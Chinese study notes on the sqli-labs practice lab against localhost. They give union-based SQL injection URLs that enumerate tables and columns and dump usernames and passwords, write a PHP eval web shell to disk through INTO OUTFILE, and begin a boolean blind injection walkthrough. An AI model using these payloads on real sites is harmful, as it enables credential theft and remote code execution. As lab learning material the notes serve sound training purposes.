#找列数
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4 --+
#确定哪个字段有回显
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,3 --+
#确定当前数据库
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,database() --+
#爆出当前数据库内的所有表名
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆出当前数据库user表的所有列名
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
#爆出当前数据库user表所有username和password
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,@@basedir,@@datadir
basedir()指定了安装MYSQL的安装路径
datadir()指定了安装MYSQL的数据文件路径
http://127.0.0.1/sqli-labs/Less-7/?id=-1')) union select 1,2,'<?php eval(@$_POST["admin"]);?>' into outfile"D:\\phpstudy2\\WWW\\sqli-labs-master\\less-7\\hack.php"--+
注意写入的绝对路径要用双反斜杠,否则会写入不成功;
这里表现语法错误,我们不管,用蚁剑连接,成功,如下:
sqli-labs第八关
判定注入范例#
首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。
接下来注入个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判定 id 值是否存在,如果存在则返复书息。
判定是否有 Sql 注入毛病,注入个单引号进行闭合,网页无任何返回。
把后面的内容注释掉,网页返回 “You are in...”。这说明网页存在 Sql 注入毛病,并且是用单引号字符型注入。同时因为 Sql 语句发生错误时也不报错,因此此处是 bool 盲注毛病。
获取数据库信息
首先判定表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。返回 “You are in...”,说明表至少有 3 行。
测试到第 4 列未返回 “You are in...”,说明表中一共有 3 列。
得出数据库名的长度,网页只会有返回 “You are in...” 和无回显 2 种情况,我们使用 length() 函数结合回显信息判定数据库长度。